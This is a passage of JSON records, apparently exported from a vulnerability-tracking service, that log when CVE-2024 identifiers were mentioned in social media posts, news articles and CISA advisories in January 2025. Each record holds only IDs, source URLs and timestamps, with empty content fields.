"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12590", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785123354135342", "content": "", "creation_timestamp": "2025-01-07T04:13:18.949806Z"}, {"uuid": "69f145ff-549e-439a-a4d5-87e6f53f9822", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12437", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5445onan2m", "content": "", "creation_timestamp": "2025-01-07T07:15:58.747112Z"}, {"uuid": "221da85d-7884-4cf1-bb58-a35c2d6a95db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113825455604962375", "content": "", "creation_timestamp": "2025-01-14T07:10:21.191153Z"}, {"uuid": "91abb938-73e2-4879-8636-97f339793b9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12711", "type": "seen", "source": "https://bsky.app/profile/wiretor.bsky.social/post/3lf5umwbsds2g", "content": "", "creation_timestamp": "2025-01-07T14:35:02.778965Z"}, {"uuid": "a37365e0-577e-41d9-a54f-116f2bc43ac2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12006", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfopeacj3z2t", "content": "", "creation_timestamp": "2025-01-14T07:15:47.009531Z"}, {"uuid": "57bc8d6a-02e8-4882-9b47-52706318cfc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12624", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf544f27cc2e", "content": "", "creation_timestamp": "2025-01-07T07:16:06.272644Z"}, {"uuid": "cf4b28da-1da2-40c3-8825-8e98d6257692", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113833155187442788", "content": "", "creation_timestamp": "2025-01-15T15:48:25.695479Z"}, {"uuid": "970f5a09-29a1-402c-9a52-cca371797b60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12304", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfgtutoe2v2x", "content": "", "creation_timestamp": "2025-01-11T04:15:21.390838Z"}, {"uuid": "696eb169-b86c-4e37-8942-7af18b2c87e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12008", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfopecjw7g2f", "content": "", "creation_timestamp": "2025-01-14T07:15:48.999293Z"}, {"uuid": "86148048-80c7-4832-902d-37e9339470ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lftcbcvgdh2m", "content": "", "creation_timestamp": "2025-01-16T03:04:48.760796Z"}, {"uuid": "d38751c6-d140-4451-a9e6-2a9b5bcfacd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12022", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4rzlokbh2f", "content": "", "creation_timestamp": "2025-01-07T04:15:35.175457Z"}, {"uuid": "eae5f2ba-9c93-405e-a5e1-590bff7d5130", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lfoplefh7c2l", "content": "", "creation_timestamp": "2025-01-14T07:19:55.705483Z"}, {"uuid": "3a432665-2cd8-48a0-9bd0-f1e4429a6ec8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://bsky.app/profile/insightsintothings.bsky.social/post/3lfscl7zzjk2a", "content": "", "creation_timestamp": "2025-01-15T17:36:56.407166Z"}, {"uuid": "08aae496-16f0-4b1e-b7a9-729810149caa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12098", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4rzo6ul42a", "content": "", "creation_timestamp": "2025-01-07T04:15:37.768115Z"}, {"uuid": "a326731f-b0dd-40db-82ff-f819d1f6b632", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12437", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5445onan2m", "content": "", "creation_timestamp": "2025-01-07T07:15:58.752899Z"}, {"uuid": "20a18dfb-6829-4b82-bdf4-54dba20c6e98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfopefu2gp2n", "content": "", "creation_timestamp": "2025-01-14T07:15:52.371762Z"}, {"uuid": "c105a333-bd1e-4783-8f41-43e942cb68c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12416", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4rzsogp322", "content": "", "creation_timestamp": "2025-01-07T04:15:42.649279Z"}, {"uuid": "4d6d52c3-8df3-4de7-801b-2cbca9f5d11e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12495", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf544aa6zi2m", "content": "", "creation_timestamp": "2025-01-07T07:16:01.296377Z"}, {"uuid": "d137919a-3d97-481b-a95d-165f2852ff89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfs4pw76mj2h", "content": "", "creation_timestamp": "2025-01-15T15:52:56.757456Z"}, {"uuid": "f6c4966a-84a5-4e06-8b59-f7e575f42670", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12419", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4rzutskb2m", "content": "", "creation_timestamp": "2025-01-07T04:15:44.768886Z"}, {"uuid": "0db59a64-1563-4bd9-820d-711646066d71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12541", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4s2662mn2c", "content": "", "creation_timestamp": "2025-01-07T04:15:54.465910Z"}, {"uuid": "b376127b-e39d-42cf-a440-c2c5792ebafa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12557", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4s2afhrn2c", "content": "", "creation_timestamp": "2025-01-07T04:15:57.050590Z"}, {"uuid": "e5376017-7de5-449b-8214-0149b195ebd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12590", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4s2fo5og2l", "content": "", "creation_timestamp": "2025-01-07T04:16:02.450764Z"}, {"uuid": "d79437da-0189-49da-8183-9b3d00b05d96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12495", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf544aa6zi2m", "content": "", "creation_timestamp": "2025-01-07T07:16:01.321048Z"}, {"uuid": "e852044c-46a2-4ef7-be87-21bb49ba48df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12781", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf544hjzyc2e", "content": "", "creation_timestamp": "2025-01-07T07:16:08.841228Z"}, {"uuid": "13ee998c-694a-446c-9940-04594514d43a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12532", "type": "seen", "source": "https://bsky.app/profile/wiretor.bsky.social/post/3lf5uzns2gk2g", "content": "", "creation_timestamp": "2025-01-07T14:42:05.442370Z"}, {"uuid": "b181dec7-e422-4e9a-85dd-ef99106008db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12304", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfgvhoos4k2i", "content": "", "creation_timestamp": "2025-01-11T04:43:47.177572Z"}, {"uuid": "598642b9-88e9-4c51-a43a-6f21a41a0281", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12528", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4rzx2f7l22", "content": "", "creation_timestamp": "2025-01-07T04:15:47.833510Z"}, {"uuid": "ecba4c18-b865-4863-8de9-a39b13e1e574", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12499", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf544chwca25", "content": "", "creation_timestamp": "2025-01-07T07:16:03.683506Z"}, {"uuid": "aab473e8-1f23-4882-a236-c1b6c4848545", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12033", "type": "seen", "source": "https://bsky.app/profile/wiretor.bsky.social/post/3lf5v4w46qk2g", "content": "", "creation_timestamp": "2025-01-07T14:43:53.314746Z"}, {"uuid": "a95e8599-4327-48a2-9156-47d0663a1db6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12538", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4rzzbyr62m", "content": "", "creation_timestamp": "2025-01-07T04:15:49.449312Z"}, {"uuid": "aec4ed25-11a6-4121-b159-4b7b0e439921", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12499", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf544chwca25", "content": "", "creation_timestamp": "2025-01-07T07:16:03.688892Z"}, {"uuid": "a3692162-c91d-427a-b25f-030e11cc315e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12587", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113808208981525101", "content": "", "creation_timestamp": "2025-01-11T06:04:16.656342Z"}, {"uuid": "cf8798ef-f44d-4f61-bac0-8a76a40a101e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-617e1e9a-420e913529f35003", "content": "", "creation_timestamp": "2025-01-14T09:40:31.532009Z"}, {"uuid": "503ec787-f5b1-4379-98ec-a754594f7ac6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfs4pws54n2q", "content": "", "creation_timestamp": "2025-01-15T15:52:59.817367Z"}, {"uuid": "33e24aaa-cd15-4db5-a19c-e25890015535", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12540", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4s23noby2i", "content": "", "creation_timestamp": "2025-01-07T04:15:52.352022Z"}, {"uuid": "9933d087-136b-4a9a-9426-2c32ac97f609", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12624", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf544f27cc2e", "content": "", "creation_timestamp": "2025-01-07T07:16:06.275580Z"}, {"uuid": "75b23777-5786-4b1c-bedb-ec858fd4d16f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12587", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfh2lyvdww2x", "content": "", "creation_timestamp": "2025-01-11T06:15:40.637792Z"}, {"uuid": "85b7874f-ec76-4a2c-b2e7-c2056441cc90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12559", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4s2ct3im25", "content": "", "creation_timestamp": "2025-01-07T04:15:59.857165Z"}, {"uuid": "924da94a-9087-44a9-a6f3-decc50993887", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12781", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf544hjzyc2e", "content": "", "creation_timestamp": "2025-01-07T07:16:08.822794Z"}, {"uuid": "4a4b60d8-8ed7-4568-bd05-84859d8e4747", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113827844477308185", "content": "", "creation_timestamp": "2025-01-14T17:17:48.949478Z"}, {"uuid": "13bd15c9-f94e-40b4-a1f3-26b3c6961d5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113827844477308185", "content": "", "creation_timestamp": "2025-01-14T17:17:48.983094Z"}, {"uuid": "8c3e789c-f2a6-43db-afc8-01e5ead96c01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113827844477308185", "content": "", "creation_timestamp": "2025-01-14T17:17:49.019152Z"}, {"uuid": "fb4cad88-8445-4555-8485-713a97ba449e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113827844477308185", "content": "", "creation_timestamp": "2025-01-14T17:17:49.053057Z"}, {"uuid": "c9da7f7e-1adc-42cd-bd9a-54535d41afd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113827844477308185", "content": "", "creation_timestamp": "2025-01-14T17:17:49.088732Z"}, {"uuid": "6549ae1a-83d4-44dd-88a3-8f9005e9b208", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113827844477308185", "content": "", "creation_timestamp": "2025-01-14T17:17:49.124149Z"}, {"uuid": "d7f12845-d5cf-44a9-8748-e1a3b0f266c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12592", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4s2i2iez2k", "content": "", "creation_timestamp": "2025-01-07T04:16:04.945082Z"}, {"uuid": "ad91d7b0-a6b0-4f0d-8e66-895b076801db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12587", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfh4hglgf52g", "content": "", "creation_timestamp": "2025-01-11T06:48:54.624070Z"}, {"uuid": "de6ab8a0-7dd2-4276-aa9e-21377014ab69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12274", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113819537120398503", "content": "", "creation_timestamp": "2025-01-13T06:05:08.558458Z"}, {"uuid": "6b38c7cb-3e10-41da-ae66-388c6f098296", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12008", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfoqujv6d32k", "content": "", "creation_timestamp": "2025-01-14T07:42:47.122119Z"}, {"uuid": "a5fe12e5-194a-46dc-ab49-087a2194bc13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12592", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785182357877434", "content": "", "creation_timestamp": "2025-01-07T04:28:16.551994Z"}, {"uuid": "b3a4a11d-8f4c-4ae1-91fc-7494d8974630", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12566", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113819537157281010", "content": "", "creation_timestamp": "2025-01-13T06:05:09.115398Z"}, {"uuid": "d6f23ea4-bf7e-4223-b0d9-68c56fca2eee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfoqukgdir2h", "content": "", "creation_timestamp": "2025-01-14T07:42:47.898567Z"}, {"uuid": "f10d9190-c3a9-4808-aacb-2c94717c41c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lfagmgzces2m", "content": "", "creation_timestamp": "2025-01-08T15:02:02.703845Z"}, {"uuid": "b89d034c-ec9b-4935-9ad4-662b003e78a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12567", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113819537173124576", "content": "", "creation_timestamp": "2025-01-13T06:05:09.541985Z"}, {"uuid": "2c82561d-0c4a-4eab-ab8e-f5d925052d66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12006", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfoqukkcno2w", "content": "", "creation_timestamp": "2025-01-14T07:42:48.398623Z"}, {"uuid": "7afa1095-ecfb-40dd-a228-e6c3d907549e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfoquknkwz2h", "content": "", "creation_timestamp": "2025-01-14T07:42:48.907353Z"}, {"uuid": "178f2a29-9c0e-4111-b633-0ecbd76c83de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12402", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113785261692193487", "content": "", "creation_timestamp": "2025-01-07T04:48:27.496630Z"}, {"uuid": "8c47c1e1-c437-4dc0-abca-861046c7e57b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12516", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785878761539148", "content": "", "creation_timestamp": "2025-01-07T07:25:23.241914Z"}, {"uuid": "71a8b8ce-65b6-4827-bb52-4e8c4e95f557", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12430", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf67hpzlcm2r", "content": "", "creation_timestamp": "2025-01-07T17:48:49.128617Z"}, {"uuid": "dd97454c-5a03-4893-986c-8f9fb3ae458b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113825605649943834", "content": "", "creation_timestamp": "2025-01-14T07:48:27.127411Z"}, {"uuid": "93c85c1c-9c2c-481f-9e9c-faf96ec9f4ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://bsky.app/profile/randomuserid.bsky.social/post/3lfprjmonf226", "content": "", "creation_timestamp": "2025-01-14T17:27:14.871677Z"}, {"uuid": "99df64b4-1058-45f6-be97-82d1a539e322", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12077", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785878731395996", "content": "", "creation_timestamp": "2025-01-07T07:25:23.368323Z"}, {"uuid": "b32c0b87-3ba9-429d-bab0-6d99cc1a7fbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/xeiaso.net/post/3lfpxew7fyx2s", "content": "", "creation_timestamp": "2025-01-14T19:11:58.937203Z"}, {"uuid": "3f499dec-c311-4a83-9235-60ffc3b0bbd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12202", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785878746373359", "content": "", "creation_timestamp": "2025-01-07T07:25:24.255460Z"}, {"uuid": "4d87cff5-6a7c-4fa1-ba9e-c7814599a23c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12274", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113819557908399955", "content": "", "creation_timestamp": "2025-01-13T06:10:25.873262Z"}, {"uuid": "c6110232-a94e-4cfb-9023-ea4b3a0d3894", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12332", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vhs53rs2c", "content": "", "creation_timestamp": "2025-01-07T05:17:12.934943Z"}, {"uuid": "6284c66b-efd8-43e4-9626-045bf90f8e07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113805753653456342", "content": "", "creation_timestamp": "2025-01-10T19:39:49.594339Z"}, {"uuid": "dd338051-86bb-4cf0-aaa4-874c5322b8d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12567", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113819557938681426", "content": "", "creation_timestamp": "2025-01-13T06:10:26.492242Z"}, {"uuid": "c54c1126-75ad-46f3-8825-ac982dc83ba8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://thehackernews.com/2025/01/cisa-adds-new-beyondtrust-flaw-to-kev.html", "content": "", "creation_timestamp": "2025-01-14T02:21:00.000000Z"}, {"uuid": "baab97c9-77f1-4e8d-8ba0-85a9d1915662", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12208", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vgqnudb2m", "content": "", "creation_timestamp": "2025-01-07T05:16:37.872950Z"}, {"uuid": "ad06ae2c-6ecb-443c-aae9-729831135d48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12834", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-010-03-0", "content": "", "creation_timestamp": "2025-01-10T11:00:00.000000Z"}, {"uuid": "6bad9b5a-a0e7-4193-a404-9fd4a60a2f91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12835", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-010-03-0", "content": "", "creation_timestamp": "2025-01-10T11:00:00.000000Z"}, {"uuid": "0810f8f4-7d5e-45c2-b42f-f58507ff65f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12836", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-010-03-0", "content": "", "creation_timestamp": "2025-01-10T11:00:00.000000Z"}, {"uuid": "0ea773a6-d029-4491-a46a-089567613446", "vulnerability_lookup_origin": 